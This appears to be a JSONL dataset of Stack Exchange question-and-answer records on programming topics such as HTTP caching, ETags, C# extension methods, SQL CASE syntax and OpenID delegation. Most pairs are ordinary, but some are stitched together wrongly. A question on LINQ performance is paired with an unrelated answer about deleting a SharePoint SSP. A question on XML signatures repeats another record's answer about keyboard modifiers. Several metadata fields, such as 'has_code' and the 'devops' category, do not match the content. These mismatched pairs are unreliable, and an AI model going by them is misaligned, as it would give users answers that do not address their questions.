{"id": "hf_f9a285fbd6dc", "question": "<p>Let's say that there is a solution that contains two projects (Project1 and Project2).</p>\n\n<p>Project1 is set as a StartUp Project (its name is displayed in a bold font). I double-click some file in Project2 to open it. The file opens, but something else happens too - Project2 gets set as a StartUp Project.</p>\n\n<p>I tried to find an option in configuration to change it, but I found none.</p>\n\n<p>Can this feature (though it's more like a bug to me) be disabled?</p>\n", "question_body": "", "answer": "The way to select a startup project is described in\nSara Ford's blog \"Visual Studio Tip of the Day\n\" (highly recommended). She has a post there about\nsetting up StartUp projects\n. Essentially there are 2 ways, the easiest one being right-clicking on the desired project, and choosing \"Set As StartUp Project\". That prevents other projects from becoming the StartUp project, even if you click on one their files.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:29.588428"}
{"id": "hf_4ac4bde0e8bb", "question": "<p>I'm writing a resource handling method where I control access to various files, and I'd like to be able to make use of the browser's cache.  My question is two-fold:</p>\n\n<ol>\n<li><p>Which are the definitive HTTP headers that I need to check in order to know for sure whether I should send a 304 response, and what am I looking for when I do check them?</p></li>\n<li><p>Additionally, are there any headers that I need to send when I initially send the file (like 'Last-Modified') as a 200 response?</p></li>\n</ol>\n\n<p>Some psuedo-code would probably be the most useful answer.</p>\n\n<hr>\n\n<p>What about the cache-control header?  Can the various possible values of that affect what you send to the client (namely max-age) or should only if-modified-since be obeyed?</p>\n", "question_body": "", "answer": "You should send a 304 if the client has explicitly stated that it may already have the page in its cache. This is called a conditional GET, which should include the\nif-modified-since\nheader in the request.\nBasically, this request header contains a date from which the client claims to have a cached copy. You should check if content has changed after this date and send a 304 if it hasn't.\nSee\nhttp://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.25\nfor the related section in the RFC.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:29.623700"}
{"id": "hf_3b0fd6cbbd51", "question": "<p>How do I generate an ETag HTTP header for a resource file?</p>\n", "question_body": "", "answer": "An etag is an arbitrary string that the server sends to the client that the client will send back to the server the next time the file is requested.\nThe etag should be computable on the server based on the file.  Sort of like a checksum, but you might not want to checksum every file sending it out.\n```\n```\nserver                client\n \n        <------------- request file foo\n \n file foo etag: \"xyz\"  -------->\n \n        <------------- request file foo\n                       etag: \"xyz\" (what the server just sent)\n \n (the etag is the same, so the server can send a 304)\n```\n```\nI built up a string in the format \"datestamp-file size-file inode number\".  So, if a file is changed on the server after it has been served out to the client, the newly regenerated etag won't match if the client re-requests it.\n```\n```\nchar *mketag(char *s, struct stat *sb)\n{\n    sprintf(s, \"%d-%d-%d\", sb->st_mtime, sb->st_size, sb->st_ino);\n    return s;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:29.695776"}
{"id": "hf_22e8bfdafe42", "question": "<p>Does anyone remember the <code>XMP</code> tag?</p>\n\n<p>What was it used for and why was it deprecated?</p>\n", "question_body": "", "answer": "A quick Google search on W3C reveals that\n```\nXMP\n```\nwas introduced for displaying\npreformatted text\nin HTML 3.2 and earlier. When W3C deprecated the\n```\nXMP\n```\ntag, it suggested using the\n```\nPRE\n```\ntag as a preferred alternative.\nUpdate:\nhttp://www.w3.org/TR/REC-html32#xmp\n,\nhttp://www.w3.org/MarkUp/html-spec/html-spec_5.html#SEC5.5.2.1", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:29.742327"}
{"id": "hf_ed7667d322a1", "question": "<p>I'm talking about <a href=\"http://en.wikipedia.org/wiki/Quality_of_service\" rel=\"noreferrer\">http://en.wikipedia.org/wiki/Quality_of_service</a>. With streaming stackoverflow podcasts and downloading the lastest updates to ubuntu, I would like to have QoS working so I can use stackoverflow without my http connections timing out or taking forever.</p>\n\n<p>I'm using an iConnect 624 ADSL modem which has QoS built-in but I can't seem to get it to work. Is it even possible to control the downstream (ie. from ISP to your modem)?</p>\n", "question_body": "", "answer": "I don't know if this will help you, but I've never been a fan of using the ISP provided box directly. Personally I use a\nLinksys wrt54gl\n, with\nDD-wrt\n, behind(DMZ) my ISP provided box.\nDD-wrt has excellent QoS management.\nSorry I can't be more help with your existing hardware.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:29.766275"}
{"id": "hf_a703fb323dab", "question": "<p>How is it possible to make prototype methods in C#.Net?</p>\n\n<p>In JavaScript, I can do the following to create a trim method for the string object:</p>\n\n<pre><code>String.prototype.trim = function() {\n    return this.replace(/^\\s+|\\s+$/g,\"\");\n}\n</code></pre>\n\n<p>How can I go about doing this in C#.Net?</p>\n", "question_body": "", "answer": "You need to create an extension method, which requires .NET 3.5. The method needs to be static, in a static class. The first parameter of the method needs to be prefixed with \"this\" in the signature.\n```\n```\npublic static string MyMethod(this string input)\n{\n    // do things\n}\n```\n```\nYou can then call it like\n```\n```\n\"asdfas\".MyMethod();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:29.801220"}
{"id": "hf_fa4d974aea5f", "question": "<p>Is <em>CompileAssemblyFromDom</em> faster than <em>CompileAssemblyFromSource</em>?</p>\n\n<p>It <em>should</em> be as it presumably bypasses the compiler front-end.</p>\n", "question_body": "", "answer": "I've tried finding the ultimate compiler call earlier and I gave up. There's quite a number of layers of interfaces and virtual classes for my patience.\nI don't think the source reader part of the compiler ends up with a DOM tree, but intuitively I would agree with you. The work necessary to transform the DOM to IL should be much less than reading C# source code.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:29.825461"}
{"id": "hf_5d85a2daf80f", "question": "<p>What is the <strong>complete</strong> and correct syntax for the SQL Case expression?</p>\n", "question_body": "", "answer": "The\ncomplete\nsyntax depends on the database engine you're working with:\nFor SQL Server:\n```\n```\nCASE case-expression\n    WHEN when-expression-1 THEN value-1\n  [ WHEN when-expression-n THEN value-n ... ]\n  [ ELSE else-value ]\nEND\n```\n```\nor:\n```\n```\nCASE\n    WHEN boolean-when-expression-1 THEN value-1\n  [ WHEN boolean-when-expression-n THEN value-n ... ]\n  [ ELSE else-value ]\nEND\n```\n```\nexpressions, etc:\n```\n```\ncase-expression    - something that produces a value\nwhen-expression-x  - something that is compared against the case-expression\nvalue-1            - the result of the CASE statement if:\n                         the when-expression == case-expression\n                      OR the boolean-when-expression == TRUE\nboolean-when-exp.. - something that produces a TRUE/FALSE answer\n```\n```\nLink:\nCASE (Transact-SQL)\nAlso note that the ordering of the WHEN statements is important. You can easily write multiple WHEN clauses that overlap, and\nthe first one that matches is used\n.\nNote\n: If no ELSE clause is specified, and no matching WHEN-condition is found, the value of the CASE expression will be\nNULL\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:29.859946"}
{"id": "hf_09bd753a23b1", "question": "<p>I am currently aware that ASP.NET 2.0 is out and about and that there are 3.x versions of the .Net Framework.</p>\n\n<p>Is it possible to upgrade my ASP.NET web server to version 3.x of the .Net Framework?</p>\n\n<hr>\n\n<p>I have tried this, however, when selecting which version of the .Net framwork to use in IIS (the ASP.NET Tab), only version 1.1 and 2.0 show.</p>\n\n<p>Is there a work around?</p>\n", "question_body": "", "answer": "Sure, download the 3.5 redistributable, install it on the servre, and you're good to go. .NET versions can be installed side-by-side, so it won't disrupt any \"legacy\" apps.\nhttp://www.microsoft.com/downloads/details.aspx?FamilyId=333325FD-AE52-4E35-B531-508D977D32A6&displaylang=en", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:29.883745"}
{"id": "hf_b3e7c00d62fd", "question": "<p>I can do an <code>eval(\"something()\");</code> to execute the code dynamically in JavaScript. Is there a way for me to do the same thing in C#?</p>\n\n<p>An example of what I am trying to do is: I have an integer variable (say <code>i</code>) and I have multiple properties by the names: \"Property1\", \"Property2\", \"Property3\", etc.\nNow, I want to perform some operations on the \" Property<em>i</em> \" property depending on the value of <code>i</code>. </p>\n\n<p>This is really simple with Javascript. Is there any way to do this with C#?</p>\n", "question_body": "", "answer": "You can use reflection to get the property and invoke it. Something like this:\n```\n```\nobject result = theObject.GetType().GetProperty(\"Property\" + i).GetValue(theObject, null);\n```\n```\nThat is, assuming the object that has the property is called \"theObject\" :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:29.907478"}
{"id": "hf_396412b76593", "question": "<p>Example: I have two shared objects (same should apply to .dlls). The first shared object is from a third-party library, we'll call it libA.so. I have wrapped some of this with JNI and created my own library, libB.so. Now libB depends on libA.</p>\n\n<p>When webstarting, both libraries are places in some webstart working area. My java code attempts to load libB. At this point the system loader will attempt to load libA which is not in the system library path (java.library.path won't help this). The end result is that libB has an unsatisfied link and cannot be used. </p>\n\n<p>I have tried loading libA before libB, but that still does not work. Seems the OS wants to do that loading for me. Is there any way I can make this work other than statically  compiling?</p>\n", "question_body": "", "answer": "I'm not sure if this would be handled exactly the same way for webstart, but we ran into this situation in a desktop application when dealing with a set of native libraries (dlls in our case).\nLoading libA before libB should work, unless one of those libraries has a dependency that is unaccounted for and not in the path. My understanding is that once it gets to a system loadLibrary call (i.e. Java has found the library in its java.library.path and is now telling the OS to load it) - it is completely dependent on the operating system to find any dependent libraries, because at that point it is the operating system that is loading the library for the process, and the OS only knows how to look in the system path. That seems hard to set in the case of a Webstart app, but there is a way around this that does not involve static compiling. You may be able to shuffle where your libraries are - I am unsure\nIf you use a custom classloader, you can override loadLibrary and findLibrary so that it can locate your libraries from within a jar in your classpath, and if you also make it aware of your native library dependencies (i.e. libB depends on libA depends on libX, then when loading libB you can catch yourself and ensure you load libA first, and in checking that notice and load libX first. Then the OS doesn't try to find a library that isn't in your path. It's klunky and a bit painful, but ensuring Java finds them and loads them all in the correct order can work.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:29.935095"}
{"id": "hf_60566f354ca6", "question": "<p>How do you create your own custom moniker (or URL Protocol) on Windows systems?</p>\n\n<p>Examples:</p>\n\n<ul>\n<li>http:</li>\n<li>mailto:</li>\n<li>service:</li>\n</ul>\n", "question_body": "", "answer": "Take a look at\nCreating and Using URL Monikers\n,\nAbout Asynchronous Pluggable Protocols\nand\nRegistering an Application to a URL Protocol\nfrom MSDN", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:29.958210"}
{"id": "hf_8883841a053f", "question": "<p>I have more than one OpenID as I have tried out numerous.  As people take up OpenID different suppliers are going to emerge I may want to switch provinders.  As all IDs are me, and all are authenticated against the same email address, shouldn't I be able to log into stack overflow with any of them and be able to hit the same account?</p>\n", "question_body": "", "answer": "I think each site that implements OpenID would have to build their software to allow multiple entries for your OpenID credentials.  However, just because a site doesn't allow you to create multiple entries doesn't mean you can't swap out OpenID suppliers.\nHow to turn your blog into an OpenID\nSTEP 1: Get an OpenID. There a lots of servers and services out there you can use. I use\nhttp://www.myopenid.com\nSTEP 2: Add these two lines to your blog's main template in-between the\n```\n<HEAD></HEAD>\n```\ntags at the top of your template. Most all blog engines support editing your template so this should be an easy and very possible thing to do.\nExample:\n```\n<link rel=\"openid.server\" href=\"http://www.myopenid.com/server\" />  \n<link rel=\"openid.delegate\" href=http://YOURUSERNAME.myopenid.com/ />\n```\nThis will let you use your domain/blog  as your OpenID.\nCredits to\nScott Hanselman\nand\nSimon Willison\nfor these simple instructions.\nSwitch Your Supplier\nNow that your OpenID points to your blog, you can update your link rel href's to point to a new supplier and all the places that you've tied your blog's OpenID will use the new supplier.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:29.981965"}
{"id": "hf_f232b0332cf1", "question": "<p>The singleton pattern is a design pattern that is used to restrict instantiation of a class to one object instance. Although I know how to code the singleton pattern in C++ and Java, I was wondering if anyone know how to implement it in Ruby?</p>\n", "question_body": "", "answer": "Use the singleton module:\n```\n```\nclass Clazz\n  include Singleton\nend\n```\n```\nSee\nhttp://www.ruby-doc.org/stdlib/libdoc/singleton/rdoc/index.html\nfor more info.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:30.041095"}
{"id": "hf_de9db1fab762", "question": "<p>I'm currently experimenting with build script, and since I have an ASP.net Web Part under source control, my build script should do that at the end:</p>\n\n<ol>\n<li>Grab the \"naked\" Windows 2003 IIS VMWare or Virtual PC Image from the Network</li>\n<li>Boot it up</li>\n<li>Copy the Files from the Build Folder to the Server</li>\n<li>Install it</li>\n<li>Do whatever else is needed</li>\n</ol>\n\n<p>I have never tried automating a Virtual Machine, but I saw that both VMWare and Virtual Server offer automation facilities. While I cannot use Virtual Server (Windows XP Home :-(), Virtual PC works.</p>\n\n<p>Does anyone here have experience with either VMWare Server or Virtual PC 2007 SP1 in terms of automation?</p>\n\n<p>Which one is better suited (I run windows, so the Platform-independence of VMWare does not count) and easier to automate?</p>\n", "question_body": "", "answer": "With VMWare, there is the\nVirtual Machine Automation APIs (VIX API)\n.  You can find the reference guide\nhere\n.  It works with VMWare Server and WorkStation, but AFAIK it's not available for ESX Server.\nFrom the main page for VIX:\nThe VIX API allows you to write\n  scripts and programs that automate\n  virtual machine operations. The API is\n  high-level, easy to use, and practical\n  for both script writers and\n  application programmers. It runs on\n  VMware Server and Workstation\n  products, both Windows and Linux.\n  Bindings are provided for C, Perl, and\n  COM (Visual Basic, VBscript, C#).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:30.063987"}
{"id": "hf_6ac52e9429c6", "question": "<p>I really feel that I should learn <a href=\"http://en.wikipedia.org/wiki/Lisp_(programming_language)\" rel=\"noreferrer\">Lisp</a> and there are plenty of good resources out there to help me do it.</p>\n\n<p>I'm not put off by the complicated syntax, but where in \"traditional commercial programming\" would I find places it would make sense to use it instead of a procedural language.</p>\n\n<p>Is there a commercial killer-app out there that's been written in Lisp ?</p>\n", "question_body": "", "answer": "complicated syntax\n??\nThe syntax for lisp is\nincredibly simple\n.\nKiller app written in lisp:\nemacs\n.  Lisp will allow you to extend emacs at will to do almost anything you can think of that an editor might do.\nBut\n, you should only learn lisp if you\nwant\nto, and you may never get to use at work ever, but it is still awesome.\nAlso, I want to add: even if you find places where lisp will make sense, you will probably not convince anyone else that it should be used over java, c++, c#, python, ruby, etc.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:30.100414"}
{"id": "hf_a819a257872f", "question": "<p>I'm developing a data access component that will be used in a website that contains a mix of classic ASP and ASP.NET pages, and need a good way to manage its configuration settings.</p>\n\n<p>I'd like to use a custom <code>ConfigurationSection</code>, and for the ASP.NET pages this works great.  But when the component is called via COM interop from a classic ASP page, the component isn't running in the context of an ASP.NET request and therefore has no knowledge of web.config.</p>\n\n<p>Is there a way to tell the <code>ConfigurationManager</code> to just load the configuration from an arbitrary path (e.g. <code>..\\web.config</code> if my assembly is in the <code>/bin</code> folder)?  If there is then I'm thinking my component can fall back to that if the default <code>ConfigurationManager.GetSection</code> returns <code>null</code> for my custom section.</p>\n\n<p>Any other approaches to this would be welcome!</p>\n", "question_body": "", "answer": "Try this:\n```\n```\nSystem.Configuration.ConfigurationFileMap fileMap = new ConfigurationFileMap(strConfigPath); //Path to your config file\nSystem.Configuration.Configuration configuration = System.Configuration.ConfigurationManager.OpenMappedMachineConfiguration(fileMap);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:30.123643"}
{"id": "hf_887d71d41983", "question": "<p>How much database performance overhead is involved with using C# and LINQ compared to custom optimized queries loaded with mostly low-level C, both with a SQL Server 2008 backend?</p>\n\n<p>I'm specifically thinking here of a case where you have a fairly data-intensive program and will be doing a data refresh or update at least once per screen and will have 50-100 simultaneous users.</p>\n", "question_body": "", "answer": "Have you tried removing the SSP using the command line? I found this worked once when we had a broken an SSP and just wanted to get rid of it.\nThe command is:\n```\n```\nstsadm.exe -o deletessp -title <sspname> [-deletedatabases]\n```\n```\nThe\n```\ndeletedatbases\n```\nswitch is optional.\nAlso, check in Central Administration under Job Definitions and Job Schedules to ensure no SSP related jobs are still running", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:30.161553"}
{"id": "hf_2636f0c87bdd", "question": "<p>In a installation of WebSphere Application Server with Network Deployment, a node is:</p>\n\n<ol>\n<li>a physical machine</li>\n<li>an instance of operative system</li>\n<li>a logical set of WAS instances that is independent of physical machine or OS instance</li>\n</ol>\n", "question_body": "", "answer": "@ggasp Here is what I got off IBM's Information Center\nA node is a logical grouping of managed servers.\nA node usually corresponds to a logical or physical computer system with a distinct IP host address. Nodes cannot span multiple computers.\nhttp://publib.boulder.ibm.com/infocenter/wasinfo/v6r1/index.jsp?topic=/com.ibm.websphere.nd.multiplatform.doc/info/ae/ae/cagt_node.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:30.184318"}
{"id": "hf_e30c2e81f4ba", "question": "<p>I've written (most of) an application in Flex and I am concerned with protecting the source code. I fired up a demo of <a href=\"http://www.flash-decompiler.com/\" rel=\"noreferrer\">Trillix swf decompiler</a> and opened up the swf file that was installed to my Program Files directory. I saw that all of the actionscript packages I wrote were there. I'm not too concerned with the packages, even though there is a substantial amount of code, because it still seems pretty unusable without the mxml files. I think they are converted to actionscript, or atleast I hope. However, I would still like to explore obfuscation.</p>\n\n<p>Does anyone have any experience with Flash / Actionscript 3 / Flex obfuscators? Can you recommend a good product?</p>\n", "question_body": "", "answer": "Here's what I would do.\nCompile your application to a SWF file. Then encrypt the SWF using AES.\nMake a \"wrapper\" application that loads the encrypted SWF into a ByteArray using URLLoader\nUse the\nas3crypto\nlibrary to decrypt the swf at runtime.\nOnce decrypted, use Loader.loadBytes to load the decrypted swf into the wrapper application.\nThis will make it a lot harder to get your code. Not impossible, but harder.\nFor AIR applications you could leave the SWF encrypted when delivering the application to the end-user. Then you could provide a registration key that contains the key used to decrypt the SWF.\nAlso, here is a link to an AS3 obfuscator. I am not sure how well it works though.\nhttp://www.ambiera.com/irrfuscator/index.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:30.208233"}
{"id": "hf_f7c7ef3ab5c9", "question": "<p>How do you resolve a domain name to an IP address with .NET/C#?</p>\n", "question_body": "", "answer": "```\n```\nusing System.Net;\n\nforeach (IPAddress address in Dns.GetHostAddresses(\"www.google.com\"))\n{\n   Console.WriteLine(address.ToString());\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:30.232749"}
{"id": "hf_b99dec8873b4", "question": "<p>I am new to C# and am doing some work in an existing application. I have a DirectX viewport that has components in it that I want to be able to position using arrow keys.</p>\n\n<p>Currently I am overriding ProcessCmdKey and catching arrow input and send an OnKeyPress event. This works, but I want to be able to use modifiers(<strong><kbd>ALT</kbd>+<kbd>CTRL</kbd>+<kbd>SHIFT</kbd></strong>). As soon as I am holding a modifier and press an arrow no events are triggered that I am listening to.</p>\n\n<p>Does anyone have any ideas or suggestions on where I should go with this?</p>\n", "question_body": "", "answer": "Within your overridden ProcessCmdKey how are you determining which key has been pressed?\nThe value of keyData (the second parameter) will change dependant on the key pressed and any modifier keys, so, for example, pressing the left arrow will return code 37, shift-left will return 65573, ctrl-left 131109 and alt-left 262181.\nYou can extract the modifiers and the key pressed by ANDing with appropriate enum values:\n```\n```\nprotected override bool ProcessCmdKey(ref Message msg, Keys keyData)\n{\n    bool shiftPressed = (keyData & Keys.Shift) != 0;\n    Keys unmodifiedKey = (keyData & Keys.KeyCode);\n\n    // rest of code goes here\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:30.290719"}
{"id": "hf_5b70974a9ad6", "question": "<p>We have a question with regards to XML-sig and need detail about the optional elements as well as some of the canonicalization and transform stuff.  We're writing a spec for a very small XML-syntax payload that will go into the metadata of media files and it needs to by cryptographically signed.  Rather than re-invent the wheel, We thought we should use the XML-sig spec but I think most of it is overkill for what we need, and so we like to have more information/dialogue with people who know the details.</p>\n\n<p>Specifically, do we need to care about either transforms or canonicalization if the XML is very basic with no tabs for formatting and is specific to our needs?</p>\n", "question_body": "", "answer": "Within your overridden ProcessCmdKey how are you determining which key has been pressed?\nThe value of keyData (the second parameter) will change dependant on the key pressed and any modifier keys, so, for example, pressing the left arrow will return code 37, shift-left will return 65573, ctrl-left 131109 and alt-left 262181.\nYou can extract the modifiers and the key pressed by ANDing with appropriate enum values:\n```\n```\nprotected override bool ProcessCmdKey(ref Message msg, Keys keyData)\n{\n    bool shiftPressed = (keyData & Keys.Shift) != 0;\n    Keys unmodifiedKey = (keyData & Keys.KeyCode);\n\n    // rest of code goes here\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:30.314713"}
{"id": "hf_5e9480a4b696", "question": "<p>When developing whether its Web or Desktop at which point should a developer switch from SQLite, MySQL, MS SQL, etc</p>\n", "question_body": "", "answer": "It depends on what you are doing. You might switch if:\nYou need more scalability or better performance - say from SQLite to SQL Server or Oracle.\nYou need access to more specific datatypes.\nYou need to support a customer that only runs a particular database.\nYou need better DBA tools.\nYour application is using a different platform where your database no longer runs, or it's libraries do not run.\nYou have the ability/time/budget to actually make the change. Depending on the situation, the migration could be a bigger project than everything in the project up to that point. Migrations like these are great places to introduce inconsistencies, or to lose data, so a lot of care is required.\nThere are many more reasons for switching and it all depends on your requirements and the attributes of the databases.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:30.375314"}
{"id": "hf_c2def305e132", "question": "<p>I'm using <code>ColdFusion</code> to populate a template that includes HTML unordered lists (<code>&lt;ul&gt;</code>s).</p>\n\n<p>Most of these aren't that long, but a few have ridiculously long lengths and could really stand to be in 2-3 columns.</p>\n\n<p>Is there an HTML, ColdFusion or perhaps JavaScript (I'm accepting jQuery solutions) way to do this easily?  It's not worth some over-complicated heavyweight solution to save some scrolling.</p>\n", "question_body": "", "answer": "There is no pure CSS/HTML way to achieve this, as far as I know.  Your best bet would be to do it in pre-processing (\n```\nif list length > 150, split into 3 columns, else if > 70, split into  2 columns, else 1\n```\n).\nThe other option, using JavaScript (I'm not familiar with the\njQuery\nlibrary specifically) would be to iterate through lists, probably based on them being a certain class, count the number of children, and if it is a high  enough number, dynamically create a new list after the first, transferring some number of list items to the new list.  As far as implementing the columns, you could probably float them left, followed by an element that had the style\n```\nclear: left\n```\nor\n```\nclear: both\n```\n.\n```\n```\n.column {\n  float: left;\n  width: 50%;\n}\n.clear {\n  clear: both;\n}\n```\n```\n```\n```\n<ul class=\"column\">\n  <li>Item 1</li>\n  <li>Item 2</li>\n  <!-- ... -->\n  <li>Item 49</li>\n  <li>Item 50</li>\n</ul>\n<ul class=\"column\">\n  <li>Item 51</li>\n  <li>Item 52</li>\n  <!-- ... -->\n  <li>Item 99</li>\n  <li>Item 100</li>\n</ul>\n<div class=\"clear\">\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:30.438757"}
{"id": "hf_3a4109ccd2f1", "question": "<p>I have worked for 5 years mainly in java desktop applications accessing Oracle databases and I have never used regular expressions. Now I enter Stack Overflow and I see a lot of questions about them; I feel like I missed something. </p>\n\n<p>For what do you use regular expressions?</p>\n\n<p>P.S. sorry for my bad english</p>\n", "question_body": "", "answer": "A regular expression (regex or regexp for short) is a special text string for describing a search pattern. You can think of regular expressions as wildcards on steroids. You are probably familiar with wildcard notations such as\n```\n*.txt\n```\nto find all text files in a file manager. The regex equivalent is\n```\n.*\\.txt$\n```\n.\nA great resource for regular expressions:\nhttp://www.regular-expressions.info", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:30.486707"}
{"id": "hf_9b0fa8b01507", "question": "<p>I am currently creating a master ddl for our database.  Historically we have used backup/restore to version our database, and not maintained any ddl scripts.  The schema is quite large.</p>\n\n<p>My current thinking:</p>\n\n<ul>\n<li><p>Break script into parts (possibly in separate scripts):</p>\n\n<ol>\n<li>table creation</li>\n<li>add indexes</li>\n<li>add triggers</li>\n<li>add constraints</li>\n</ol></li>\n<li><p>Each script would get called by the master script.</p></li>\n<li>I might need a script to drop constraints temporarily for testing</li>\n<li>There may be orphaned tables in the schema, I plan to identify suspect tables.</li>\n</ul>\n\n<p>Any other advice?</p>\n\n<p>Edit: Also if anyone knows good tools to automate part of the process, we're using MS SQL 2000 (old, I know).</p>\n", "question_body": "", "answer": "What you have there seems to be pretty good. My company has on occasion, for large enough databases, broken it down even further, perhaps to the individual object level. In this way each table/index/... has its own file. Can be useful, can be overkill. Really depends on how you are using it.\n@Justin\nBy domain is mostly always sufficient. I agree that there are some complexities to deal with when doing it this way, but that should be easy enough to handle.\nI think this method provides a little more seperation (which in a large database you will come to appreciate) while still making itself pretty manageable. We also write Perl scripts that do a lot of the processing of these DDL files, so that might be an option of a good way to handle that.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:30.521194"}
